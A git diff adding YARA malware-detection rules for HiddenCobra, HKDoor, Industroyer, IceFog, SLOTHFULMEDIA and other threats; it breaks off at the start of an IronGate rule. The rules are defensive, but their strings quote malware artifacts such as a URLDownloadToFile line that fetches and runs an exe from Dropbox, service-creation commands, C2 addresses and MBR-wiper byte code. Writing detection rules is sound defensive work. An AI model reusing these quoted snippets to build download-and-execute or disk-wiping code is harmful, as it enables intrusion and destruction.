+      $a4 = "history.paypal.com" fullword ascii
+      $a5 = "www.bitcoin.org" fullword ascii
+      $a6 = "web.whatsapp.com" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and (
+         1 of ($x*) or
+         2 of ($s*) or
+         4 of ($a*)
+      )
+}
+
+/* US CERT Rule */
+
+rule Unauthorized_Proxy_Server_RAT {
+   meta:
+      author = "US-CERT Code Analysis Team"
+      reference = "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity"
+      hash1 = "C74E289AD927E81D2A1A56BC73E394AB"
+      hash2 = "2950E3741D7AF69E0CA0C5013ABC4209"
+      desscription = "Detects Proxy Server RAT"
+      id = "378573e3-17a7-5862-aae5-a8e84102e237"
+   strings:
+      $s0 = {8A043132C288043125FF00000003C299F73D40404900A14440490003D0413BCF72DE5E5FC3}
+      $s1 = {8A04318844241432C28804318B44241425FF00000003C299F73D40404900A14440490003D0413BCF72D65E5FC3}
+      $s2 = {8A04318844241432C28804318B44241425FF00000003C299F73D5C394100A16039410003D0413BCF72D65E5FC3}
+      $s3 = {8A043132C288043125FF00000003C299F73D5C394100A16039410003D0413BCF72DE5E5FC3}
+      $s4 = {B91A7900008A140780F29A8810404975F4}
+      $s5 = {399FE192769F839DCE9F2A9D2C9EAD9CEB9FD19CA59F7E9F539CEF9F029F969C6C9E5C9D949FC99F}
+      $s6 = {8A04318844241432C28804318B44241425FF00000003C299F73D40600910A14460091003D0413BCF72D65E5FC3}
+      $s7 = {3C5C75208A41014184C074183C72740C3C7474083C6274043C2275088A41014184C075DC}
+      $s8 = {8B063D9534120077353D59341200722E668B4604663DE8037F24}
+      $s9 = {8BC88B74241CC1E1052BC88B7C2418C1E1048B5C241403C88D04888B4C242083F9018944240C7523}
+      $s10 = {8B063D9034120077353D59341200722E668B4604663DE8037F246685C0}
+      $s11 = {30110FB60148FFC102C20FBEC09941F7F94103D249FFC875E7}
+      $s12 = {448BE8B84FECC44E41F7EDC1FA038BCAC1E91F03D16BD21A442BEA4183C541}
+      $s13 = {8A0A80F9627C2380F9797F1E80F9647C0A80F96D7F0580C10BEB0D80F96F7C0A80F9787F05}
+   condition:
+      any of them
+}
diff --git a/yara-Neo23x0/apt_hiddencobra_wiper.yar b/yara-Neo23x0/apt_hiddencobra_wiper.yar
new file mode 100644
index 0000000..476d57d
--- /dev/null
+++ b/yara-Neo23x0/apt_hiddencobra_wiper.yar
@@ -0,0 +1,35 @@
+/*
+   Author: NCCIC Partner
+   Date: 2018-03-28
+   Identifier: HiddenCobra
+   Reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf
+*/
+
+rule HiddenCobra_r4_wiper_1 {
+   meta:
+      author = "NCCIC Partner"
+      date = "2017-12-12"
+      description = "Detects HiddenCobra Wiper"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
+      id = "4978c190-7b66-5cea-96df-809f85620986"
+   strings:
+      $mbr_code = { 33 C0 8E D0 BC 00 7C FB 50 07 50 1F FC BE 5D 7C 33 C9 41 81 F9 00 ?? 74 24 B4 43 B0 00 CD 13 FE C2 80 FA 84 7C F3 B2 80 BF 65 7C 81 05 00 04 83 55 02 00 83 55 04 00 83 55 06 00 EB D5 BE 4D 7C B4 43 B0 00 CD 13 33 C9 BE 5D 7C EB C5 }
+      $controlServiceFoundlnBoth = { 83 EC 1C 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 44 8B 44 24 24 53 56 6A 24 50 57 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 85 F6 74 1C 8D 4C 24 0C 51 6A 01 56 FF 15 ?? ?? ?? ?? 68 E8 03 00 00 FF 15 ?? ?? ?? ?? 56 FF D3 57 FF D3 5E 5B 33 C0 5F 83 C4 1C C3 33 C0 5F 83 C4 1C C3 }
+   condition:
+      uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550 and any of them
+}
+
+rule HiddenCobra_r4_wiper_2 {
+   meta:
+      author = "NCCIC Partner"
+      date = "2017-12-12"
+      description = "Detects HiddenCobra Wiper"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
+      id = "75acc3cb-90dd-58e8-b094-ed3f28650b1b"
+   strings:
+      // BIOS Extended Write
+      $PhysicalDriveSTR = "\\\\.\\PhysicalDrive" wide
+      $ExtendedWrite = { B4 43 B0 00 CD 13 }
+   condition:
+      uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550 and all of them
+}
diff --git a/yara-Neo23x0/apt_hizor_rat.yar b/yara-Neo23x0/apt_hizor_rat.yar
new file mode 100644
index 0000000..57ba1bb
--- /dev/null
+++ b/yara-Neo23x0/apt_hizor_rat.yar
@@ -0,0 +1,28 @@
+rule apt_win32_dll_rat_hiZorRAT
+{
+	meta:
+      dexcription = "Detects hiZor RAT"
+		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
+		hash2 = "d9821468315ccd3b9ea03161566ef18e"
+		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
+      ref1 = "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html"
+      reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
+      id = "06fd02f2-2630-5aac-8011-67d67ff42c3f"
+	strings:
+		// Part of the encoded User-Agent = Mozilla
+		$s1 = { c7 [5] 40 00 62 00 c7 [5] 77 00 64 00 c7 [5] 61 00 61 00 c7 [5] 6c 00 }
+
+		// XOR to decode User-Agent after string stacking 0x10001630
+		$s2 = { 66 [7] 0d 40 83 ?? ?? 7c ?? }
+
+		// XOR with 0x2E - 0x10002EF6
+		$s3 = { 80 [2] 2e 40 3b ?? 72 ?? }
+
+		$s4 = "CmdProcessExited" wide ascii
+		$s5 = "rootDir" wide ascii
+		$s6 = "DllRegisterServer" wide ascii
+		$s7 = "GetNativeSystemInfo" wide ascii
+		$s8 = "%08x%08x%08x%08x" wide ascii
+	condition:
+		(uint16(0) == 0x5A4D or uint32(0) == 0x464c457f) and (all of them)
+}
diff --git a/yara-Neo23x0/apt_hkdoor.yar b/yara-Neo23x0/apt_hkdoor.yar
new file mode 100644
index 0000000..ad39a4e
--- /dev/null
+++ b/yara-Neo23x0/apt_hkdoor.yar
@@ -0,0 +1,99 @@
+import "pe"
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-18
+   Identifier: HKDoor
+   Reference: https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html
+*/
+
+rule hkdoor_backdoor_dll {
+   meta:
+      description = "Hacker's Door Backdoor DLL"
+      author = "Cylance Inc."
+      reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+      id = "470e5d37-8a5a-500f-b9b9-245b8dc2c4d7"
+   strings:
+      $s1 = "The version of personal hacker's door server is" fullword ascii
+      $s2 = "The connect back interval is %d (minutes)" fullword ascii
+      $s3 = "I'mhackeryythac1977" fullword ascii
+      $s4 = "Welcome to http://www.yythac.com" fullword ascii
+      $s5 = "SeLoadDriverPrivilege" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 400KB and
+      ( 3 of ($s*) ) and
+      pe.characteristics & pe.DLL and
+      pe.imports("ws2_32.dll", "WSAStartup") and
+      pe.imports("ws2_32.dll", "sendto")
+}
+
+rule hkdoor_backdoor {
+   meta:
+      description = "Hacker's Door Backdoor"
+      author = "Cylance Inc."
+      reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+      id = "470e5d37-8a5a-500f-b9b9-245b8dc2c4d7"
+   strings:
+      $s1 = "http://www.yythac.com" fullword ascii
+      $s2 = "Example:%s 192.168.1.100 139 -p yyt_hac -t 1" fullword ascii
+      $s3 = "password-----------The hacker's door's password" fullword ascii
+      $s4 = "It is the client of hacker's door %d.%d public version" fullword ascii
+      $s5 = "hkdoordll.dll" fullword ascii
+      $s6 = "http://www.yythac.com/images/mm.jpg" fullword ascii
+      $s7 = "I'mhackeryythac1977" fullword ascii
+      $s8 = "yythac.yeah.net" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 400KB and
+      ( 4 of ($s*) )
+}
+
+rule hkdoor_dropper {
+   meta:
+      description = "Hacker's Door Dropper"
+      author = "Cylance Inc."
+      date = "2018-01-01"
+      modified = "2023-01-07"
+      reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+      id = "8c8171b9-6256-591a-8f74-abac1cb9a50b"
+   strings:
+      $s1 = "The version of personal hacker's door server is" fullword ascii
+      $s2 = "The connect back interval is %d (minutes)" fullword ascii
+      $s3 = "I'mhackeryythac1977" fullword ascii
+      $s4 = "Welcome to http://www.yythac.com" fullword ascii
+      $s5 = "SeLoadDriverPrivilege" fullword ascii
+      $s6 = "\\drivers\\ntfs.sys" ascii
+      $s7 = "kifes" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 1000KB and
+      ( 4 of ($s*) ) and
+      pe.number_of_resources > 0 and
+      for any i in (0..pe.number_of_resources - 1):
+         (pe.resources[i].type_string == "B\x00I\x00N\x00" and
+         uint16(pe.resources[i].offset) == 0x5A4D) and
+      pe.imports("KERNEL32.dll", "FindResourceW") and
+      pe.imports("KERNEL32.dll", "LoadResource")
+}
+
+rule hkdoor_driver {
+   meta:
+      description = "Hacker's Door Driver"
+      author = "Cylance Inc."
+      date = "2018-01-01"
+      modified = "2023-01-07"
+      reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+      id = "50b763a9-6d4f-59dd-ba6c-27e2ae117523"
+   strings:
+      $s1 = "ipfltdrv.sys" fullword ascii
+      $s2 = "Patch Success." fullword ascii
+      $s3 = "\\DosDevices\\kifes" ascii
+      $s4 = "\\Device\\kifes" ascii
+      $s5 = {75 28 22 36 30 5b 4a 77 7b 58 4d 6c 3f 73 63 5e 38 47 7c 7d 7a 40 3a 41 2a 45 4e 44 79 64 67 6d 65 74 21 39 23 3c 20 49 43 69 4c 3b 31 57 2f 55 3e 26 59 62 61 54 53 5a 2d 25 78 35 5c 76 3d 34 27 6b 5f 72 2c 32 4f 2b 71 66 42 33 37 56 52 60 5d 29 4b 51 2e 6f 50 68 6e 6a 24 48 7e 46 70}
+   condition:
+      uint16(0) == 0x5a4d and
+      pe.subsystem == pe.SUBSYSTEM_NATIVE and
+      ( 4 of ($s*) )
+}
diff --git a/yara-Neo23x0/apt_iamtheking.yar b/yara-Neo23x0/apt_iamtheking.yar
new file mode 100644
index 0000000..a5c38ba
--- /dev/null
+++ b/yara-Neo23x0/apt_iamtheking.yar
@@ -0,0 +1,48 @@
+
+rule APT_MAL_SLOTHFULMEDIA_Oct20_1 {
+   meta:
+      description = "Detects SLOTHFULMEDIA malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a"
+      date = "2020-10-01"
+      hash1 = "64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273"
+      hash2 = "927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae"
+      hash3 = "f0503f0131040b805e106eafe64a65d9404a0e279f052237b868e456c34d36e6"
+      hash4 = "ed5258306c06d6fac9b13c99c7c8accc7f7fa0de4cf4de4f7d9eccad916555f5"
+      hash5 = "04ca010f4c8997a023fabacae230698290e3ff918a86703c5e0a2a6983b039eb"
+      hash6 = "cb2adcaaa25bb6b8a9f1c685c219f8d6d78aa5cfd65c633f4d255ff81da2c517"
+      id = "cc413225-f084-5859-bc27-04eb018d8894"
+   strings:
+      $xc1 = { 25 73 26 69 3D 25 64 00 48 54 54 50 2F 31 2E 31
+               00 00 00 00 50 4F 53 54 00 00 00 00 43 6F 6E 74
+               65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 00 00
+               5C 00 53 00 65 00 74 00 75 00 70 00 55 00 69 00
+               00 00 00 00 25 00 73 00 25 00 73 00 5F 00 25 00
+               64 00 2E 00 64 00 61 00 74 }
+      $xc2 = { 2F 76 3F 6D 3D 00 00 00 35 30 31 00 32 30 30 00
+               2A 00 2E 00 2A 00 00 00 25 00 73 00 00 00 00 00
+               53 00 65 00 44 00 65 00 62 00 75 00 67 00 50 00
+               72 00 69 00 76 00 69 00 6C 00 65 00 67 00 65 }
+      $xc3 = { 00 25 00 73 00 7C 00 25 00 73 00 7C 00 25 00 73
+               00 7C 00 25 00 73 00 00 00 5C 00 46 00 69 00 6C
+               00 74 00 65 00 72 00 33 00 2E 00 6A 00 70 00 67 }
+
+      $sc1 = { 25 74 65 6D 70 25 00 00 25 73 5C 25 73 2E 65 78
+               65 00 00 00 25 74 65 6D 70 25 00 00 25 73 5C 25
+               73 2E 65 78 65 }
+      $sc2 = { 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65
+               74 2D 73 74 72 65 61 6D 2C 61 70 70 6C 69 63 61
+               74 69 6F 6E 2F 78 68 74 6D 6C 00 00 25 73 26 69
+               3D 25 64 00 48 54 54 50 2F 31 2E 31 00 00 00 00
+               50 4F 53 54 }
+      $s1 = "%s%s_%d.dat" wide fullword
+      $s2 = "Local Security Process" wide fullword
+      $s3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75" ascii fullword
+      $s4 = "Global%s%d" wide fullword
+      $s5 = "ExtKeyloggerStart" ascii fullword
+      $s6 = "GetExtendedTcpTable" ascii fullword
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 400KB and
+      ( 1 of ($x*) or 3 of them ) or 4 of them
+}
diff --git a/yara-Neo23x0/apt_icefog.yar b/yara-Neo23x0/apt_icefog.yar
new file mode 100644
index 0000000..0808012
--- /dev/null
+++ b/yara-Neo23x0/apt_icefog.yar
@@ -0,0 +1,32 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-02-26
+   Identifier: IceFog
+   Reference: https://twitter.com/ClearskySec/status/968104465818669057
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule IceFog_Malware_Feb18_1 {
+   meta:
+      description = "Detects IceFog malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/ClearskySec/status/968104465818669057"
+      date = "2018-02-26"
+      modified = "2023-01-06"
+      hash1 = "480373cffc4e60aa5be2954a156e37d689b92e6e33969958230f2ce59d30b9ec"
+      id = "ce8e3a9b-9f4b-534c-983d-bb5490da5768"
+   strings:
+      $s1 = "cmd /c %c%s%c" fullword ascii
+      $s2 = "temp.bat" fullword ascii
+      $s3 = "c:\\windows\\debug\\wia\\help" fullword wide
+      $s4 = "/getorder.aspx?hostname=" fullword wide
+      $s5 = "\\filecfg_temp.dat" wide
+      $s6 = "Unknown operating system " fullword wide
+      $s7 = "kastygost.compress.to" fullword wide
+      $s8 = "/downloads/" wide
+      $s9 = "\\key.dat" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and 4 of them
+}
diff --git a/yara-Neo23x0/apt_indetectables_rat.yar b/yara-Neo23x0/apt_indetectables_rat.yar
new file mode 100644
index 0000000..bf7711c
--- /dev/null
+++ b/yara-Neo23x0/apt_indetectables_rat.yar
@@ -0,0 +1,56 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-01
+	Identifier: Indetectables RAT
+*/
+
+rule Indetectables_RAT {
+	meta:
+		description = "Detects Indetectables RAT based on strings found in research by Paul Rascagneres & Ronan Mouchoux"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.sekoia.fr/blog/when-a-brazilian-string-smells-bad/"
+		date = "2015-10-01"
+		super_rule = 1
+		hash1 = "081905074c19d5e32fd41a24b4c512d8fd9d2c3a8b7382009e3ab920728c7105"
+		hash2 = "66306c2a55a3c17b350afaba76db7e91bfc835c0e90a42aa4cf59e4179b80229"
+		hash3 = "1fa810018f6dd169e46a62a4f77ae076f93a853bfc33c7cf96266772535f6801"
+		id = "f8322822-617c-50cf-8b64-60da3a202ca5"
+	strings:
+		$s1 = "Coded By M3" fullword wide
+		$s2 = "Stub Undetector M3" fullword wide
+		$s3 = "www.webmenegatti.com.br" wide
+		$s4 = "M3n3gatt1" fullword wide
+		$s5 = "TheMisterFUD" fullword wide
+		$s6 = "KillZoneKillZoneKill" fullword ascii
+		$s7 = "[[__M3_F_U_D_M3__]]$" fullword ascii
+		$s8 = "M3_F_U_D_M3" ascii
+		$s9 = "M3n3gatt1hack3r" fullword wide
+		$s10 = "M3n3gatt1hack3r" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and 1 of them
+}
+
+rule BergSilva_Malware {
+	meta:
+		description = "Detects a malware from the same author as the Indetectables RAT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-10-01"
+		super_rule = 1
+		hash1 = "00e175cbad629ee118d01c49c11f3d8b8840350d2dd6d16bd81e47ae926f641e"
+		hash2 = "6b4cbbee296e4a0e867302f783d25d276b888b1bf1dcab9170e205d276c22cfc"
+		id = "5f35aea6-1d80-594a-a6e0-8e8bb30bc358"
+	strings:
+		$x1 = "C:\\Users\\Berg Silva\\Desktop\\" wide
+		$x2 = "URLDownloadToFileA 0, \"https://dl.dropbox.com/u/105015858/nome.exe\", \"c:\\nome.exe\", 0, 0" fullword wide
+
+		$s1 = " Process.Start (Path.GetTempPath() & \"name\" & \".exe\") 'start server baixado" fullword wide
+		$s2 = "FileDelete(@TempDir & \"\\nome.exe\") ;Deleta o Arquivo para que possa ser executado normalmente" fullword wide
+		$s3 = " Lib \"\\WINDOWS\\system32\\UsEr32.dLl\"" fullword wide
+		$s4 = "$Directory = @TempDir & \"\\nome.exe\" ;Define a variavel" fullword wide
+		$s5 = "https://dl.dropbox.com/u/105015858" wide
+	condition:
+		uint16(0) == 0x5a4d and ( 1 of ($x*) or 2 of ($s*) )
+}
diff --git a/yara-Neo23x0/apt_industroyer.yar b/yara-Neo23x0/apt_industroyer.yar
new file mode 100644
index 0000000..84ecb4b
--- /dev/null
+++ b/yara-Neo23x0/apt_industroyer.yar
@@ -0,0 +1,158 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-13
+   Identifier: Industroyer
+   Reference: https://goo.gl/x81cSy
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Industroyer_Malware_1 {
+   meta:
+      description = "Detects Industroyer related malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/x81cSy"
+      date = "2017-06-13"
+      hash1 = "ad23c7930dae02de1ea3c6836091b5fb3c62a89bf2bcfb83b4b39ede15904910"
+      hash2 = "018eb62e174efdcdb3af011d34b0bf2284ed1a803718fba6edffe5bc0b446b81"
+      id = "f5ab571c-03a7-538a-ada1-0930d15af5cf"
+   strings:
+      $s1 = "haslo.exe" fullword ascii
+      $s2 = "SYSTEM\\CurrentControlSet\\Services\\%ls" fullword wide
+      $s3 = "SYS_BASCON.COM" fullword wide
+      $s4 = "*.pcmt" fullword wide
+      $s5 = "*.pcmi" fullword wide
+
+      $x1 = { 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73
+         00 5C 00 25 00 6C 00 73 00 00 00 49 00 6D 00 61
+         00 67 00 65 00 50 00 61 00 74 00 68 00 00 00 43
+         00 3A 00 5C 00 00 00 44 00 3A 00 5C 00 00 00 45
+         00 3A 00 5C 00 00 00 }
+      $x2 = "haslo.dat\x00Crash"
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of ($x*) or 2 of them )
+}
+
+rule Industroyer_Malware_2 {
+   meta:
+      description = "Detects Industroyer related malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/x81cSy"
+      date = "2017-06-13"
+      hash1 = "3e3ab9674142dec46ce389e9e759b6484e847f5c1e1fc682fc638fc837c13571"
+      hash2 = "37d54e3d5e8b838f366b9c202f75fa264611a12444e62ae759c31a0d041aa6e4"
+      hash3 = "ecaf150e087ddff0ec6463c92f7f6cca23cc4fd30fe34c10b3cb7c2a6d135c77"
+      hash1 = "6d707e647427f1ff4a7a9420188a8831f433ad8c5325dc8b8cc6fc5e7f1f6f47"
+      id = "0561a7bb-3b6c-5caf-9131-04924cee1e0f"
+   strings:
+      $x1 = "sc create %ls type= own start= auto error= ignore binpath= \"%ls\" displayname= \"%ls\"" fullword wide
+      $x2 = "10.15.1.69:3128" fullword wide
+
+      $s1 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)" fullword wide
+      $s2 = "/c sc stop %s" fullword wide
+      $s3 = "sc start %ls" fullword wide
+      $s4 = "93.115.27.57" fullword wide
+      $s5 = "5.39.218.152" fullword wide
+      $s6 = "tierexe" fullword wide
+      $s7 = "comsys" fullword wide
+      $s8 = "195.16.88.6" fullword wide
+      $s9 = "TieringService" fullword wide
+
+      $a1 = "TEMP\x00\x00DEF" fullword wide
+      $a2 = "TEMP\x00\x00DEF-C" fullword wide
+      $a3 = "TEMP\x00\x00DEF-WS" fullword wide
+      $a4 = "TEMP\x00\x00DEF-EP" fullword wide
+      $a5 = "TEMP\x00\x00DC-2-TEMP" fullword wide
+      $a6 = "TEMP\x00\x00DC-2" fullword wide
+      $a7 = "TEMP\x00\x00CES-McA-TEMP" fullword wide
+      $a8 = "TEMP\x00\x00SRV_WSUS" fullword wide
+      $a9 = "TEMP\x00\x00SRV_DC-2" fullword wide
+      $a10 = "TEMP\x00\x00SCE-WSUS01" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of ($x*) or 3 of them or 1 of ($a*) ) or ( 5 of them )
+}
+
+rule Industroyer_Portscan_3 {
+   meta:
+      description = "Detects Industroyer related custom port scaner"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/x81cSy"
+      date = "2017-06-13"
+      hash1 = "893e4cca7fe58191d2f6722b383b5e8009d3885b5913dcd2e3577e5a763cdb3f"
+      id = "f6675466-d469-562b-9fb6-7b72bce8a726"
+   strings:
+      $s1 = "!ZBfamily" fullword ascii
+      $s2 = ":g/outddomo;" fullword ascii
+      $s3 = "GHIJKLMNOTST" fullword ascii
+      /* Decompressed File */
+      $d1 = "Error params Arguments!!!" fullword wide
+      $d2 = "^(.+?.exe).*\\s+-ip\\s*=\\s*(.+)\\s+-ports\\s*=\\s*(.+)$" fullword wide
+      $d3 = "Exhample:App.exe -ip= 127.0.0.1-100," fullword wide
+      $d4 = "Error IP Range %ls - %ls" fullword wide
+      $d5 = "Can't closesocket." fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and all of ($s*) or 2 of ($d*) )
+}
+
+rule Industroyer_Portscan_3_Output {
+   meta:
+      description = "Detects Industroyer related custom port scaner output file"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/x81cSy"
+      date = "2017-06-13"
+      id = "4469f056-674c-5a44-84a5-12a65b8586d5"
+   strings:
+      $s1 = "WSA library load complite." fullword ascii
+      $s2 = "Connection refused" fullword ascii
+   condition:
+      all of them
+}
+
+rule Industroyer_Malware_4 {
+   meta:
+      description = "Detects Industroyer related malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/x81cSy"
+      date = "2017-06-13"
+      hash1 = "21c1fdd6cfd8ec3ffe3e922f944424b543643dbdab99fa731556f8805b0d5561"
+      id = "f197d2a5-eecb-51ed-b991-7643efb3f749"
+   strings:
+      $s1 = "haslo.dat" fullword wide
+      $s2 = "defragsvc" fullword ascii
+
+      /* .dat\x00\x00Crash */
+      $a1 = { 00 2E 00 64 00 61 00 74 00 00 00 43 72 61 73 68 00 00 00 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of ($s*) or $a1 )
+}
+
+rule Industroyer_Malware_5 {
+   meta:
+      description = "Detects Industroyer related malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/x81cSy"
+      date = "2017-06-13"
+      hash1 = "7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad"
+      id = "52ce21a0-0c72-585c-a805-c5077a7445af"
+   strings:
+      $x1 = "D2MultiCommService.exe" fullword ascii
+      $x2 = "Crash104.dll" fullword ascii
+      $x3 = "iec104.log" fullword ascii
+      $x4 = "IEC-104 client: ip=%s; port=%s; ASDU=%u " fullword ascii
+
+      $s1 = "Error while getaddrinfo executing: %d" fullword ascii
+      $s2 = "return info-Remote command" fullword ascii
+      $s3 = "Error killing process ..." fullword ascii
+      $s4 = "stop_comm_service_name" fullword ascii
+      $s5 = "*1* Data exchange: Send: %d (%s)" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and ( 1 of ($x*) or 4 of them ) ) or ( all of them )
+}
diff --git a/yara-Neo23x0/apt_inocnation.yar b/yara-Neo23x0/apt_inocnation.yar
new file mode 100644
index 0000000..589e28a
--- /dev/null
+++ b/yara-Neo23x0/apt_inocnation.yar
@@ -0,0 +1,30 @@
+rule apt_win32_dll_rat_1a53b0cp32e46g0qio7
+{
+	meta:
+		description = "Detects Inocnation Malware"
+		author = "Fidelis Cybersecurity"
+		score = 75
+		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
+		hash2 = "d9821468315ccd3b9ea03161566ef18e"
+		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
+		reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
+		id = "1f2250b7-fee4-5031-aeba-90d35319b560"
+	strings:
+		// Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0;rv:11.0) like Gecko
+		$s1 = { c7 [2] 64 00 63 00 c7 [2] 69 00 62 00 c7 [2] 7a 00 7e 00 c7 [2] 2d 00 43 00 c7 [2] 59 00 2d 00 c7 [2] 3b 00 23 00 c7 [2] 3e 00 36 00 c7 [2] 2d 00 5a 00 c7 [2] 42 00 5a 00 c7 [2] 3b 00 39 00 c7 [2] 36 00 2d 00 c7 [2] 59 00 7f 00 c7 [2] 64 00 69 00 c7 [2] 68 00 63 00 c7 [2] 79 00 22 00 c7 [2] 3a 00 23 00 c7 [2] 3d 00 36 00 c7 [2] 2d 00 7f 00 c7 [2] 7b 00 37 00 c7 [2] 3c 00 3c 00 c7 [2] 23 00 3d 00 c7 [2] 24 00 2d 00 c7 [2] 61 00 64 00 c7 [2] 66 00 68 00 c7 [2] 2d 00 4a 00 c7 [2] 68 00 6e 00 c7 [2] 66 00 62 00 } // offset 10001566
+		// Software\Microsoft\Windows\CurrentVersion\Run
+		$s2 = { c7 [2] 23 00 24 00 c7 [2] 24 00 33 00 c7 [2] 38 00 22 00 c7 [2] 00 00 33 00 c7 [2] 24 00 25 00 c7 [2] 3f 00 39 00 c7 [2] 38 00 0a 00 c7 [2] 04 00 23 00 c7 [2] 38 00 00 00 c7 [2] 43 00 66 00 c7 [2] 6d 00 60 00 c7 [2] 67 00 52 00 c7 [2] 6e 00 63 00 c7 [2] 7b 00 67 00 c7 [2] 70 00 00 00 c7 [2] 43 00 4d 00 c7 [2] 44 00 00 00 c7 [2] 0f 00 43 00 c7 [2] 00 00 50 00 c7 [2] 49 00 4e 00 c7 [2] 47 00 00 00 c7 [2] 11 00 12 00 c7 [2] 17 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 11 00 06 00 c7 [2] 44 00 45 00 c7 [2] 4c 00 00 00 } // 10003D09
+		$s3 = { 66 [4-7] 0d 40 83 f8 44 7c ?? }
+		// xor		word ptr [ebp+eax*2+var_5C], 14h
+		// inc		eax
+		// cmp     	eax, 14h
+		// Loop to decode a static string. It reveals the "1a53b0cp32e46g0qio9" static string sent in the beacon
+		$s4 = { 66 [4-7] 14 40 83 f8 14 7c ?? } // 100017F0
+		$s5 = { 66 [4-7] 56 40 83 f8 2d 7c ?? } // 10003621
+		$s6 = { 66 [4-7] 20 40 83 f8 1a 7c ?? } // 10003640
+		$s7 = { 80 [2-7] 2e 40 3d 50 02 00 00 72 ?? } //  10003930
+		$s8 = "%08x%08x%08x%08x" wide ascii
+		$s9 = "WinHttpGetIEProxyConfigForCurrentUser" wide ascii
+	condition:
+		(uint16(0) == 0x5A4D or uint32(0) == 0x464c457f) and (all of them)
+}
diff --git a/yara-Neo23x0/apt_irongate.yar b/yara-Neo23x0/apt_irongate.yar
new file mode 100644
index 0000000..9b6a5e5
--- /dev/null
+++ b/yara-Neo23x0/apt_irongate.yar
@@ -0,0 +1,82 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-04
+	Identifier: IronGate (FireEye)
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule IronGate_APT_Step7ProSim_Gen {
